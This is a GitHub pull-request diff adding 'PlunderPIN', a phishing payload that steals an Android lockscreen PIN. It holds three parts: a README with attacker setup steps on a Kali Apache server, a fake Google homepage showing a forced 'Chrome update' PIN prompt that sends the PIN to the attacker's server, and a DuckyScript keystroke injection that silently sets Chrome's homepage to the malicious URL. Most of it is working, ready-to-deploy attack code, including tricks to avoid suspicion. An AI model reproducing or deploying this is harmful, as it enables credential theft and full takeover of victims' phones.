Merge pull request #568 from OSINTI4L/master

PlunderPIN
This commit is contained in:
Peaks
2025-12-13 16:45:36 -05:00
committed by GitHub
3 changed files with 530 additions and 0 deletions

View File

@@ -0,0 +1,79 @@
<div align="center">
# PlunderPIN
</div>
**Title:** PlunderPIN
**Author:** [OSINTI4L](https://github.com/OSINTI4L)
**Target Os:** Android mobile device/Google Chrome (tested on Samsung S24 FE | One UI V8.0 | Android 16 | Google Chrome browser 143.0.7499.53)
## What is PlunderPIN?
PlunderPIN is a DuckyScript phishing payload designed to trick a user into entering their mobile lockscreen PIN which is then logged in the `access.log` file of an Apache webserver. This is done so that an attacker can use the phished PIN for futher attacks against the mobile device, as they can now defeat the lockscreen and have total access as well as utilize the PIN for other authentication required applications and services. For testing pruposes the webserver will be hosted over LAN (both the attacker machine and target device must be on the same LAN)., but can easily be hosted over the internet.
### How it works
An attacker will host a malicious Google homepage (homepage.html) clone on an Apache webserver. The malicious homepage will be injected via Hak5 USB RubberDucky or O.mg device to the target mobile device. Once injected it will configure the homepage in the Google Chrome browser user settings so that the default homepage is now "swapped" with the malicious homepage. When a user now opens the Google Chrome browser they will be displayed with the malicious homepage and be prompted with a phishing mechanism (fake "update") to capture the mobile device lockscreen PIN. The PIN will then be stored in the `access.log` file of the Apache webserver hosting the malicious homepage.
### The homepage.html
- Features:
- Dark and Light mode variations that will render according to device settings.
- A useable search bar and buttons that will forward the user input as a Google search request so that the homepage appears authentic.
- Persistently stored in browser settings (survives browser closing, device reboot, etc).
- Cookie mechanism to ensure that PIN is entered.
> The cookie mechanism helps the homepage appear authentic. A user is *required* to tap the initial "update" button prompt to continue the phishing scheme; they are unable to ignore it and continue using the browser. When a user enters their PIN a cookie is stored inside of the browser (for a period of 1 year) "telling" the homepage when loaded that a PIN has previously been entered. As the homepage is persistently configured in the user settings, it would be highly suspicious for a user to be prompted for updates/PIN every time they open the browser to the homepage. To circumvent this the cookie mechanism was implemented. If cookies are cleared the user will be prompted for the PIN again.
![DM](https://github.com/user-attachments/assets/3a776008-0b27-475b-b9ca-809eaa5928b2)
![LM](https://github.com/user-attachments/assets/dfbc4161-f62e-45b8-922b-9d4ab73282f2)
-----
### payload.txt
The payload.txt file is the delivery system for configuration of the Google Chrome browser and can be injected with a Hak5 USB RubberDucky or O.mg device.
**The URL pointing to the Apache webserver must be defined in line 7 of the payload.txt.** The URL to the webserver is the following: `http://x.x.x.x:/homepage.html`. Replace the IP parameter with the IP address of the attacker machine (explained in setting up Apache webserver section below). E.g., `http://192.168.8.100/homepage.html`.
An additional layer of obfuscation can be had by utilizing a URL shortening service (e.g., [Tinyurl](https://tinyurl.com/)). After placing the `http://x.x.x.x/homepage.html` URL into the shortener, you will then use the shortened URL as the constant defined in line 7.
The payload workflow is as follows:
- Chrome browser is opened.
- A new tab is opened to ensure the proper browser environment is present for the script to run without issues.
- The browser is then navigated to the settings menu where the malicious Apache webserver URL is placed.
- All tabs are then closed.
- All applications are then closed and the phone returns to the home screen. This is necessary for obfuscation purposes and to allow the browser to automatically navigate to the malicious homepage when opened.
-----
### Viewing logs/target PIN
The target's PIN will be logged in the Apache webserver `/var/log/apache2/access.log` file.
This can be read at anytime via: `cat /var/log/apache2/access.log`
<img width="889" height="254" alt="alog" src="https://github.com/user-attachments/assets/fc90870a-b106-4324-80e3-0463b69603e3" />
-----
### Setting up the Apache webserver using a [Kali Linux](https://www.kali.org) box
1. Once you have spun-up an instance of Kali (our attacker machine), you must first find the IP address of the machine. This can be found via `ifconfig`, store the IP address as it will be used as the URL to inject to the target mobile device (see payload.txt section above).
2. Download the homepage.html file from the PlunderPIN repository directory. This will be the homepage that our malicious URL will point to.
3. Move the homepage.html file (downloaded to your current working directory) to the Apache webserver:
- `sudo mv homepage.html /var/www/html`
4. Start the Apache webserver:
- `sudo systemctl start apache2`
-----
### Cleanup
Two artifacts are left by the payload:
1. Google Chrome homgepage settings.
- To remove: Open Chrome > Settings Menu > Settings > Homepage > Remove Apache URL
2. Cookie for phishing mechanism.
- To remove: Open Chrome > Settings Menu > Privacy and Security > Delete browsing data

View File

@@ -0,0 +1,378 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Google</title>
<style>
body {
font-family: 'Roboto', Arial, sans-serif;
margin: 0;
padding: 0;
background: linear-gradient(135deg, #f8f8f8, #f1f1f1);
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
color: #202124;
transition: background 0.3s ease, color 0.3s ease;
}
.container {
text-align: center;
padding: 20px;
}
h1 {
font-size: 2.5rem;
margin-bottom: 20px;
color: #202124;
}
.logo {
width: 250px;
max-width: 100%;
margin-bottom: 30px;
}
.search-box {
display: flex;
justify-content: center;
flex-direction: column;
}
input[type="text"] {
width: 90%;
max-width: 600px;
padding: 16px;
font-size: 18px;
border-radius: 30px;
border: 1px solid #dcdcdc;
outline: none;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
transition: all 0.3s ease-in-out;
text-align: center;
}
input[type="text"]:focus {
border-color: #4285F4;
box-shadow: 0 2px 10px rgba(66, 133, 244, 0.3);
}
.buttons {
margin-top: 30px;
display: flex;
justify-content: center;
gap: 16px;
}
.buttons input {
padding: 14px 30px;
font-size: 16px;
border-radius: 25px;
border: none;
background-color: #f8f8f8;
color: #5f6368;
cursor: pointer;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
transition: background-color 0.3s ease, transform 0.2s ease;
}
.buttons input:hover {
background-color: #f1f1f1;
transform: scale(1.05);
}
.buttons input:active {
transform: scale(1);
}
.buttons input:focus {
outline: none;
}
/* Modal Popup for Update Available */
.update-modal {
display: none;
position: fixed;
z-index: 1;
left: 0;
top: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.4);
padding-top: 60px;
}
.update-modal-content {
background-color: rgba(255, 255, 255, 0.8);
margin: 10% auto;
padding: 15px 20px;
border-radius: 10px;
width: 80%;
max-width: 400px;
text-align: center;
color: #202124;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.2);
}
.update-modal-header {
font-size: 1.5rem;
font-weight: bold;
margin-bottom: 15px;
}
.update-button {
padding: 12px 28px;
font-size: 16px;
border-radius: 25px;
border: none;
background-color: #4285F4;
color: white;
cursor: pointer;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
transition: background-color 0.3s ease, transform 0.2s ease;
}
.update-button:hover {
background-color: #357ae8;
transform: scale(1.05);
}
.update-button:active {
transform: scale(1);
}
.update-button:focus {
outline: none;
}
/* Modal Popup for PIN entry */
.modal {
display: none;
position: fixed;
z-index: 1;
left: 0;
top: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.4);
padding-top: 60px;
}
.modal-content {
background-color: rgba(255, 255, 255, 0.8);
margin: 10% auto;
padding: 20px;
border-radius: 10px;
width: 80%;
max-width: 400px;
text-align: center;
color: #202124;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.2);
}
.modal-header {
font-size: 1.5rem;
font-weight: bold;
margin-bottom: 20px;
}
input[type="text"].pin-input {
width: 80%;
padding: 16px;
font-size: 18px;
margin-top: 10px;
border-radius: 30px;
border: 1px solid #dcdcdc;
outline: none;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
text-align: center;
}
input[type="text"].pin-input:focus {
border-color: #4285F4;
box-shadow: 0 2px 10px rgba(66, 133, 244, 0.3);
}
/* Updating background message */
.updating-background-message {
display: none;
position: fixed;
z-index: 9999;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
color: #4285F4;
font-size: 1.5rem;
font-weight: bold;
text-align: center;
opacity: 0;
transition: opacity 1s ease; /* Smooth fade-out */
}
/* Light and Dark Mode styles */
@media (prefers-color-scheme: dark) {
body {
background: linear-gradient(135deg, #121212, #1c1c1c);
color: #e8e8e8;
}
.buttons input {
background-color: #333;
color: #e8e8e8;
}
.buttons input:hover {
background-color: #444;
}
input[type="text"] {
background-color: #333;
border: 1px solid #555;
color: #e8e8e8;
}
input[type="text"]:focus {
border-color: #4285F4;
box-shadow: 0 2px 10px rgba(66, 133, 244, 0.3);
}
.modal-content,
.update-modal-content {
background-color: rgba(51, 51, 51, 0.8);
color: #e8e8e8;
}
.modal-header,
.update-modal-header {
color: #e8e8e8;
}
.updating-background-message {
color: #f1f1f1;
}
}
</style>
</head>
<body>
<div class="container">
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2f/Google_2015_logo.svg/512px-Google_2015_logo.svg.png" alt="Logo" class="logo">
<form action="https://www.google.com/search" method="get" class="search-box">
<input type="text" name="q" placeholder="Search Google" required>
<div class="buttons">
<input type="submit" value="Google Search">
<input type="submit" value="I'm Feeling Lucky" formaction="https://www.google.com/search?btnI=1">
</div>
</form>
</div>
<!-- Update Available Modal -->
<div id="updateModal" class="update-modal">
<div class="update-modal-content">
<h2 class="update-modal-header">
Chrome update available
</h2>
<button class="update-button" onclick="showPinModal()">Update</button>
</div>
</div>
<!-- Modal Popup for PIN entry -->
<div id="pinModal" class="modal">
<div class="modal-content">
<h2 class="modal-header">
For security, please enter your PIN to update
</h2>
<input type="text" id="pinInput" class="pin-input" placeholder="Enter PIN">
</div>
</div>
<!-- Updating background message -->
<div id="updatingBackgroundMessage" class="updating-background-message">
Update running in background
</div>
<script>
// Show Update Available modal only if PIN is not entered
window.onload = function() {
if (getCookie("pinEntered") !== "true") {
document.getElementById('updateModal').style.display = "block";
}
}
// Function to show PIN modal
function showPinModal() {
document.getElementById('updateModal').style.display = "none"; // Hide Update Available modal
document.getElementById('pinModal').style.display = "block"; // Show PIN modal
}
// Function to get a cookie by name
function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
}
// Set or delete cookie for pinEntered flag
function setCookie(name, value, days) {
const d = new Date();
d.setTime(d.getTime() + (days * 24 * 60 * 60 * 1000));
let expires = "expires=" + d.toUTCString();
document.cookie = name + "=" + value + ";" + expires + ";path=/";
}
// Get modal and elements
var modal = document.getElementById('pinModal');
var pinInput = document.getElementById('pinInput');
var updatingBackgroundMessage = document.getElementById('updatingBackgroundMessage');
// Handle Enter key to submit PIN input
pinInput.addEventListener('keydown', function (event) {
if (event.key === "Enter") {
var pin = pinInput.value;
if (pin) {
// Send the PIN number via a GET request (this will be logged by Apache)
var xhr = new XMLHttpRequest();
xhr.open('GET', '/log_pin?pin=' + encodeURIComponent(pin), true);
xhr.send();
// Set the cookie to indicate the PIN has been entered
setCookie("pinEntered", "true", 365); // Cookie will last for 1 year
// Close the modal after submitting
modal.style.display = "none";
// Delay showing the "Updating running in background" message by 1 second
setTimeout(function () {
// Show the "Updating in background" message
updatingBackgroundMessage.style.display = "block";
updatingBackgroundMessage.style.opacity = 1; // Make sure it's visible
// Fade out the message after 1 second
setTimeout(function () {
updatingBackgroundMessage.style.opacity = 0; // Start fading out
setTimeout(function () {
updatingBackgroundMessage.style.display = "none"; // After fade-out, hide the message
}, 1000); // Wait for the fade-out transition to complete
}, 1000); // Keep it visible for 1 second before starting fade-out
}, 1000); // 1 second delay before showing the message
} else {
alert("Please enter a PIN.");
}
}
});
// If the user clicks anywhere outside the modal, close it
window.onclick = function (event) {
if (event.target == modal) {
modal.style.display = "none";
}
};
</script>
</body>
</html>

View File

@@ -0,0 +1,73 @@
REM TITLE: PlunderPIN
REM AUTHOR: OSINTI4L (https://github.com/OSINTI4L)
REM TARGET OS: Android mobile device/Google Chrome (tested on Samsung S24 FE | One UI V8.0 | Android 16 | Google Chrome 143.0.7499.53)
REM DESCRIPTION: PlunderPIN is a mobile PIN phishing payload that replaces a user's Google Chrome browser homepage with a malicious imitation homepage that creates prompts to capture the user's PIN and log it to a self hosted Apache webserver. See README.md for full description.
REM REQUIREMENTS: See README.md
DEFINE #Apache_URL http://shorturl.at/Place-URL-Here
REM Begin attack:
ATTACKMODE HID
DELAY 1000
REM Opening Google Chrome:
GUI f
DELAY 400
STRINGLN chrome
DELAY 200
TAB
DELAY 200
ENTER
DELAY 500
REM Opening new tab to ensure proper default Chrome environment to execute payload properly:
CTRL t
DELAY 300
SHIFT TAB
DELAY 200
ENTER
DELAY 350
REM Navigating to Homepage settings:
REPEAT 8 DOWNARROW
ENTER
DELAY 350
REPEAT 12 DOWNARROW
ENTER
REM Setting Apache webserver URL as default homepage:
DELAY 250
REPEAT 6 TAB
DELAY 250
CTRL a
DELAY 250
STRINGLN #Apache_URL
DELAY 250
REM Navigating back to original homepage and closing all tabs:
ESC
DELAY 100
ESC
DELAY 250
SHIFT TAB
DELAY 250
ENTER
DELAY 250
REPEAT 4 TAB
DELAY 250
ENTER
DELAY 250
REPEAT 3 DOWNARROW
DELAY 250
ENTER
DELAY 250
REPEAT 2 TAB
ENTER
REM Closing applications (including browser) and returning to home screen:
INJECT_MOD
GUI TAB
DELAY 300
REPEAT 2 DOWNARROW
DELAY 150
ENTER